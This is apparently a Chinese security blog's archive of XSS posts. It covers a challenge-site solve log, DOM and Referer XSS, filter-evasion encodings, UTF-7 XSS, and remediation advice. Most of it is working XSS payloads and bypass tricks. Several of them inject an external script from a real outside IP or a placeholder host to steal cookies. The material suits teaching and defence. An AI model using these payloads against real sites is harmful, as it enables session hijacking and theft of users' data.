标签归档:xss

【XSS】企业中防御XSS的小技巧

看到同程安全应急响应中心发的文章XSS Trap – XSS DNS防护的简单尝试的思路,很多人都是使用网络上的XSS Platform,比较常用的就那几个,另外还用公开的搭建代码搭建XSS Platform,可以通过搜索引擎收集到一些。那么如果企业中有Local DNS,那么就可以配置这些域名的解析到指定服务器,然后返回自己的JS文件,然后查看自己的XSS Platform就可以知道XSS的位置。

域名列表:https://sec.ly.com/xsspt.txt
参考文章:http://sec.ly.com/blogdetail?id=17

【XSS】input hidden

1、使用expression突破

<input type=hidden style="x:expression(alert(/xss/))">

直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。

2​、使用accesskey突破

<input type="hidden" accesskey="X" onclick="alert(/xss/)">

插入之后,使用ALT+SHIFT+X快捷键来触发XSS,此方法我在firefox下面测试通过,其它浏览器尚未可知。

【XSS】Challenges解题记录

地址:http://xss-quiz.int21h.jp/
1)

"</b><img/src=x onerror=alert(document.domain)><b>"

2)

123456" onfocus=alert(document.domain) autofocus xx="

3)
参数p1转义了<、>、”,修改参数p2

Japan</b><script>alert(document.domain)</script><b>

4)

修改参数p3

hackme"><script>alert(document.domain)</script>//

5)

前端做了长度限制,截包修改p1

"><script>alert(document.domain)</script>//

6)

转义了<、> 没有转义”

123456" onfocus=alert(document.domain) autofocus xx="

7)转义了<、>、”
刷入123456发现value值没有双引号包裹。源码如下:
<input type=”text” name=”p1″ size=”50″ value=123456>
可以通过添加一个新的元素

a onmouseover=alert(document.domain)

输出的源码如下:

<input type="text" name="p1" size="50" value=a onmouseover=alert(document.domain)>

8)查看输出在<a href=”{injecthere}”>中

javascript:alert(document.domain)

9)首先注意到输出的源码中有charset项,很明显是通过编码格式绕过过滤。
CSDN上有UTF-7的编解码工具” onmousemove=”alert(document.domain)

10)
输入123456″><script>alert(document.domain)</script>
输出如下:
<input type=”text” name=”p1″ size=”50″ value=”123456″><script>alert(document.)</script>”>
可以看到是过滤了domain

a)
然后输入123456"><script>alert(document.domdomainain)</script>即可
b)使用String.fromCharCode
"><script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41))</script>
c)javascript 使用btoa和atob来进行Base64转码和解码
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

11)
测试123456″><script>alert(1)</script>
发现script被替换为xscript
测试123456″><img src=x onerror=alert(1)>
发现JS事件被替换为onxxx
测试123456″><iframe src=javascript:alert(1)>
发现javascript被替换为javaxscript
这里想到了使用data协议

"><iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'></iframe>

12)过滤的正则”s/[\x00-\x20\<\>\”\’]//g;”
单引号 双引号 尖括号都过滤了

`` onmouseover=alert(document.domain)

这个必须是在IE下才能触发。

13)这个是CSS中的XSS,输出环境是在style中

xss:expression(alert(document.domain))
background-image:url(javascript:alert(document.domain))

14)s/(url|script|eval|expression)/xxx/ig;
expression的绕过方式很多

<div style="xss:expre/**/ssion(alert(1))">样式表中的/**/会被忽略
<div style="xss:expre\ssion(alert(1))">样式表中的\
<div style="xss:\65xpression(alert(1))">

15)
输入<script>alert(1)</script>可以看到尖括号被转义了,因为输出环境是在JS中,所以可以使用16进制编码
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
发现过滤了\,然后将\替换为\\即可。

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

16) “s/\\x/\\\\x/ig;”
这道题只是替换了\x

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

【XSS】Referer XSS

首先说一下不同浏览器对’ ” < >的URL编码机制是不同的,例如:

IE:

不会对’ ” < >编码

Chrome:

会对’ ” < >编码

FireFox:

会对’ ” < >编码

以PHP为例,$_GET[‘x’]获取参数值时会对参数进行URL解码。

而如果服务端取出URI直接回显的话就会导致XSS。

如果服务端程序:

<?php

$uri=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];

echo "<a href=\"$uri\">xx</a>"                                             

?>

如果在Chrome下访问http://192.168.192.120/ie.php?x=123″><script>alert(1)</script>

因为双引号编码了所以无法闭合。

如果在IE下访问http://192.168.192.120/ie.php?x=123″><script>alert(1)</script>

因为没有编码,所以导致XSS。

 

同样浏览器在传递Referer的时候也是有差别的

测试程序:

jump1.php

<script>

window.location.href='http://192.168.192.120/referer.php';

</script>

referer.php

<?php echo $_SERVER['HTTP_REFERER']; ?>

 

IE11下,会将双引号,尖括号编码

http://192.168.192.120/jump2.php?x=123’%22%3E%3C

Chrome和FF,会将单引号,双引号,尖括号编码

http://192.168.192.120/jump2.php?x=123%27%22%3E%3C

一般Referer XSS都存在于href中,如果已经做了URL编码,那么就无法用双引号闭合标签插入XSS语句。

但是测试发现IE6和IE8使用window.location.href跳转时不会传递Referer。

但是可以用如下方式,修改jump1.php为:

<html>
<body>
<form id="xss"
      name="xss"
      method="GET"
      action="http://192.168.192.120/referer.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>

访问192.168.192.120/jump1.php?x=123′”><

发现单引号,双引号,尖括号都没有做URL编码。那么我们就可以闭合双引号执行XSS。

192.168.192.120/jump1.php?x=<script>alert(1)</script>

 

 

【XSS】DOM XSS挖掘

DOM-Based XSS是一种基于文档对象模型(Document Object Model,DOM)的Web前端漏洞,简单来说就是JavaScript代码缺陷造成的漏洞。与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。

 

0x01 页面跳转


页面跳转中常用的三种方式:

1)302跳转

2)Meta标签跳转

3)通过JS跳转,使用location.href、location.replace()、location.assign()。

在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。

例如:

<script type="text/javascript">

        var s=location.search;         

          s=s.substring(1,s.length);   

        var url="";                    

        if(s.indexOf("url=")>-1){       

          var pos=s.indexOf("url=")+4; 

          url=s.substring(pos,s.length);

           location.href = url;

        }  

</script>

http://192.168.192.120/1.html?url=javascript:alert(1)

正确的跳转URL检测正则如下:

^http(s)?://[\d\w\-\.]+\.(xxx)\.com($|\/|\\)

 

0x02 取值写入页面或动态执行


这里接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,常见的有:

innerHTML

document.write

document.writeln

eval

Jquery html()

...

除了服务端可以输出变量到JS外,以下这些地方也有可能成为输入点:

1) inputs标签

2) window.location(href、hash、search等)

3) window.name

4) document.referrer

5) document.cookie

6) localstorage

7) SessionStorage

...

window.location具体例子:

<html>

<body>

    <script type="text/javascript">

        var s=location.search;         

          s=s.substring(1,s.length);   

        var url="";                    

        if(s.indexOf("url=")>-1){       

          var pos=s.indexOf("url=")+4; 

          url=s.substring(pos,s.length);

        }else{

          url="url参数为空";

        }

        //document.write("url: <a href='"+url+"'>"+url+"</a>");  //使用document.write输出

    </script>

</body>

</html>

访问http://192.168.192.120/1.html?url=<imf/src=x onerror=alert(1)>触发

这里需要注意Location.search取出来的时候<、>在Chrome和Firefox下是经过URL编码的。而location.hash是不会URL编码的。

 

关于Window.name可以通过引入iframe来控制。例如:

2.html

<iframe name="<svg/onload=alert(1)>" src="1.html">

1.html

<html>

<head><title>Test</title></head>

<body>

         <div id="test"></div>

    <script type="text/javascript">

             document.getElementById("test").innerHTML = window.name;

    </script>

</body>

</html>

另外LocalStorage和SessionStorage是HTML5 提供了两种新的本地存储方案,统称WebStorage。

sessionStorage 是针对session的数据存储,关闭窗口后删除。

localStorage 是一个本地的没有时间限制的数据存储。

一些关于用户个性化的设置信息完全可以存储在localStorage中,打开页面的时候JS负责从本地存储中取出数据。这里比较鸡肋的是需要LocalStorage可控,即首先你要能够写入LocalStorage才行。一般需要配合其他的漏洞写入来实现持久化,类似于XSS Rootkit。

 

另外需要注意innerText和innerHTML区别,innerText的HTML便签不会解析,innerHTML的HTML标签会解析。

<html>

<head>

</head>

<body>

<div id='text'>test</div>

<div id='html'>html</div>

<script>

document.getElementById('text').innerText = "<img/src='x' onerror=alert(1)>";

document.getElementById('html').innerHTML = "<img/src='x' onerror=alert(1)>";

</script>

</body>

</html>

结果如下:

另外innerText取值时,尖括号会被还原出来,例如

<html>

<body>

<a href='http://www.baidu.com' id=1>&lt;script&gt;alert(1)&lt;/script&gt;</a>

</body>

</html>

Console下输出:

document.getElementById('1').innerText

"<script>alert(1)</script>"

document.getElementById('1').innerHTML

"&lt;script&gt;alert(1)&lt;/script&gt;"

innerText会将实体编码转回来。

在Jquery中html()和text()区别是text()同样会把转义后的<和>还原回来:

<html>

<head>

<script type="text/javascript" src="jquery-1.10.2.min.js"></script>

<script type="text/javascript">

$(document).ready(function(){

  $(".btn1").click(function(){

    alert($("#p").text());

  });

  $(".btn2").click(function(){

    alert($("#p").html());

  });

});

</script>

</head>

<body>

<div id='p'>&lt;script&gt;alert(1)&lt;/script&gt;</div>

<button class="btn1">text()测试</button></br>

<button class="btn2">html()测试</button>

</body>

</html>

点击btn1弹出:<script>alert(1)</script>

点击btn2弹出:&lt;script&gt;alert(1)&lt;/script&gt;

 

0x03 Jquery Dom XSS


jQuery低版本(1.9.0以下)存在DOM XSS漏洞

jQuery 是一个非常流行的JavaScript 库,但低版本的jQeury存在设计缺陷,导致引入低版本的jQuery文件之后,若对用户传入的参数值没有进行处理即传入$()函数中执行,且参数值中存在html标签,可导致DOM XSS版本漏洞。

<html>

<head>

<script src="http://libs.baidu.com/jquery/1.8.3/jquery.min.js"></script>

</head>

<body>

<script>

var url = location.href;

if (url.indexOf("#") > 0) {

         var a = url.substring(url.indexOf("#")+1);

         $("a[name='"+a+"']").show();

}

</script>

<a href="#" name="test">test</a>

</body>

</html>

访问http://192.168.192.120/1.html#<img/src=x onerror=alert(1)>即可触发。

 

参考文章:

https://security.tencent.com/index.php/blog/msg/107

http://su.xmd5.org/static/drops/tips-689.html

http://www.91ri.org/5401.html

【XSS】过滤圆括号尖括号绕过

先看下程序大概写法:

<?php
header("X-XSS-Protection:0");
$out = $_GET['code'];
$out = str_replace("<","&lt;",$out);
$out = str_replace(">","&gt;",$out);
$out = str_replace("("," ",$out);
$out = str_replace(")"," ",$out);
$out = str_replace("'"," ",$out);
echo "<html>
<body>
<input value=\"$out\">
</body>
</html>";
?>

首先编码了尖括号,那么无法闭合input标签,注意到这里是没有过滤双引号的。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=alert(1) x="

输出源码如下:

<input value="1" autofocus onfocus=alert 1  x="">

因为过滤了小括号,无法弹窗,可以考虑用location中URL编码小括号绕过。

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location='javasCript:alert%25281%2529' x="

但是这里过滤了单引号,我们改为双引号

http://192.168.192.120:8080/1.php?code=1" autofocus onfocus=location="javasCript:s=document.createElement%2528%2522script%2522%2529;s.src=%2522//120.92.84.50/myjs/cookie.js%2522;document.body.appendChild%2528s%2529;" x="

或者使用this.name传入,修改如下:

http://192.168.192.120:8080/1.php?code=1" name=javasCript:alert%25281%2529 autofocus onfocus=location=this.name x="

可以成功弹窗了,然后引入js,获取Cookie。

http://192.168.192.120:8080/1.php?code=1" name=javasCript:s=document.createElement%2528"script"%2529;s.src="//120.92.84.50/myjs/cookie.js";document.body.appendChild%2528s%2529; autofocus onfocus=location=this.name x="

参考文章:
https://www.secpulse.com/archives/47696.html

【XSS】修复建议

本身XSS输出位置不同,且可构造的Payload很多,一般是从一下三个角度来修复。

httponly


一般谈到cookie时,所对应的安全配置有httponly和secure。

Httponly:为了防止设置了该标志的cookie被JavaScript读取。

Secure:只能通过HTTPS使用,确保在从客户机传输到服务器时,cookie总是被加密的。

Jboss中可以在content.xml中配置

<SessionCookie secure=”false” httpOnly=”true” />

使用alert(document.cookie),显示为空。

但并不是配置了Httponly就万无一失,例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制ErrorDocument时利用此缺陷攻击者可以获得”httpOnly” cookie信息。

 

输入检查


验证用户输入的数据类型,数据长度,数据内容

如果数据类型为整型,则使用intval强制转换变量类型。

如果用户输入是手机号,那么就需要判断是否是11位。

如果数据内容为邮箱,则应使用正则取A-Za-z0-9.@-_范围内的值,其它字符则忽略掉

 

输出编码


根据输出位置的不同,所对应的过滤规则也不通。下面看具体的输出环境。

1.HTML标签的普通属性中时,例如输出在value中。

<input id="a" value="{injecthere}">

这时候注入XSS代码可以使用

<input id="a" value="" onfocus=alert(1) autofocus>

引入外部JS

<input id="a" value="" onfocus=document.body.appendChild(document.createElement('script')).src='//x.x.x.x/myjs/cookie.js' autofocus>

或者

<input id="a" value=""><script>alert(1)</script>

引入外部JS

<input id="a" value=""><script src="//x.x.x.x/myjs/cookie.js"></script>

需要编码<、>、’、”、&

<  --> &lt;

>  --> &gt;

'  --> &#39;

"  --> &quot;

&  --> &amp;

在PHP中在输入时使用htmlspecialchars函数对变量过滤处理

PS:htmlspecialchars($a,ENT_QUOTES)默认不转义’,所以需要添加ENT_QUOTES参数

 

2、<script>标签中

<script>var x = "{injecthere}"</script>

这时候注入XSS代码可以使用

http://192.168.192.120/1.php?code=1';alert(1);//

引入外部JS

http://192.168.192.120/1.php?code=1';document.body.appendChild(document.createElement('script')).src='//x.x.x.x/myjs/cookie.js';//

修复建议:

整型变量直接使用intval处理,非整型变量使用addslashes函数处理,对’、”、\转义。

转义/是防止攻击者通过</script>闭合script标签。

上面的语句输出会变成这样var x = ‘1\’;alert(1);//’

但是这里需要注意宽字节的问题。来测试一下。

我们修改一下页面编码。去掉httpd.conf中的AddDefaultCharset UTF-8并重启httpd,页面添加<meta charset=”GB2312″/>。

然后看下输出<script>var x = ‘1羂’;alert(1);//'</script>,\成功被吃掉。

针对GBK这类的编码,需要将用户输入的’、”、\替换为空。

 

3、URL相关位置

这里分为两种情况,一种是部分控制

<a href="http://www.baidu.com/{injecthere}">Test</a>

可以引入JS事件

<a href="http://www.baidu.com/" onclick=alert(1) x="">Test</a>

修复建议:URLEncode处理。

另外一种是可以完全控制

<a href="{injecthere}">Test</a>

XSS攻击可以使用伪协议,例如:

<a href="javascript:alert(1)">Test</a>

或者使用data协议

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

引入外部JS

<a href="javascript:s=document.createElement('script');s.src='//x.x.x.x/myjs/cookie.js',document.body.appendChild(s)">Test</a>

这种情况不能直接使用URLEncode处理,因为Http://中的冒号和斜杠也会被编码掉,导致无法正常跳转。

修复建议:判断是否https://、http://或者//开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,在此之后再对变量进行URLEncode。

 

4、Jsonp返回

跨域调用中callback函数名可以自定义,可以将回调函数名修改为XSS语句。

修复建议:

Content-Type:application/json; charset=utf-8

 

5、富文本

本身富文本就是需要HTML解析的,如果编码成&lt;这种无法正常解析会影响功能使用。

修复建议:

设置白名单

一是对可以使用的html标签做白名单验证;

二是对白名单html标签可使用属性做白名单验证,如src,width等,并限制一些敏感关键字javascript、vbscript等。

 

6、UTF-7 XSS

修复建议:

1)配置默认编码,例如httpd.conf中

AddDefaultCharset UTF-8

2)针对Bom头,可以在返回网页内容最前面添加一个空格。针对Jsonp的话可以直接将Content-Type设置为application/json

 

【XSS】字符编码绕过

编码转换工具:

http://bianma.51240.com/

 

html实体编码

<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制,例如:

<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab

<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车

<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行

<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号

<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持

 

URL编码

<a href="{here}">xx</a>

<iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>

这里结合一下上面说16进制编码

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>

 

javascript编码

<script>alert(1)</script>

Unicode编码<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为”alert”,但是需要注意像圆括号、双引号、单引号不能编码,否则在这种场景下无法弹窗。

例如<script>\u0061\u006C\u0065\u0072\u0074(‘1\u0027)</script>这种是无法执行的。

测试一下DOM的环境,测试代码如下:

<div id='s'>test</div>

<script>

var s = "<img/src=x onerror=alert(1)>";

document.getElementById('s').innerHTML = s;

</script>

<img/src=x onerror=alert(1)>的以下编码都可以弹窗:

Unicode: \u003C\u0069\u006D\u0067\u002F\u0073\u0072\u0063\u003D\u0078\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E

八进制: \074\151\155\147\057\163\162\143\075\170\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076

十六进制: \x3C\x69\x6D\x67\x2F\x73\x72\x63\x3D\x78\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E

在JS事件中使用Location跳转也可以,例如。

<input onfocus=location="javascript:alert\u00281\u0029" autofocus>

 

DATA协议(IE不支持)

<a href="{here}">xx</a>

<iframe src="{here}">

例如

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

<iframe src="data:text/html,&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

<iframe srcdoc="&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

 

Eval

atob:

<a href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> //需要引入单引号或双引号

String.fromCharCode:

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

 

案例:

参数输出环境:

测试发现参数这里过滤”和(,无法输入”就无法闭合,发现该参数的输出环境在src中,那么通过javascript伪协议就可以执行JS,但是因为无法引入(,所以需要进行编码才可以。

1)10进制和16进制编码绕过

HTML标签中是支持10进制和16进制编码的,那么先将javascript:alert(1)做10进制编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;;//

因为参数值中有&和#,需要一次URL编码

%26%23106%3b%26%2397%3b%26%23118%3b%26%2397%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2358%3b%26%2397%3b%26%23108%3b%26%23101%3b%26%23114%3b%26%23116%3b%26%2340%3b%26%2349%3b%26%2341%3b;//

 

2)URL编码绕过

SRC标签中是支持解码的,也就是我可以对过滤字符做二次URL编码绕过

javascript:%2561%256c%2565%2572%2574%2528%2531%2529;//

 

参考文章:

http://su.xmd5.org/static/drops/tips-689.html

https://security.yirendai.com/news/share/26

 

【XSS】UTF-7 XSS

受影响浏览器版本为IE6,影响范围较小。

如果在Content-Type中没有设置charset,如下:

Content-Type:text/html

在meta标签中也没有设置字符集

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

就可以通过字符集抢占的方式使浏览器以UTF-7解析。

<script>alert(1)</script>UTF-7编码为+ADw-script+AD4-alert(1)+ADw-/script+AD4-

但是还需要注意的是BOM头

utf-7 bom 目前知道的有4个,如下:

+/v8 | +/v9 | +/v+ | +/v/

可以通过设置BOM头修改编码,并且BOM头的优先级是最高的,只要能控制目标网页的开头是UTF-7 BOM头,即便你已经配置了

Content-Type:text/html; charset=utf-8

后续的内容仍可以以UTF-7方式编码。

从实际场景出发能控制网页开头就是Json callback。

修复建议:

1)配置默认编码,例如httpd.conf中

AddDefaultCharset UTF-8

2)针对Bom头,可以在返回网页内容最前面添加一个空格。针对Jsonp的话可以直接将Content-Type设置为application/json

测试代码:

<?php

echo $_GET[‘code’];

?>

IE6访问:http://192.168.192.120/utf7.php?code=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4-

修改代码添加一个空格:

<?php

echo ” “.$_GET[‘code’];

?>

可以看到无法解析了。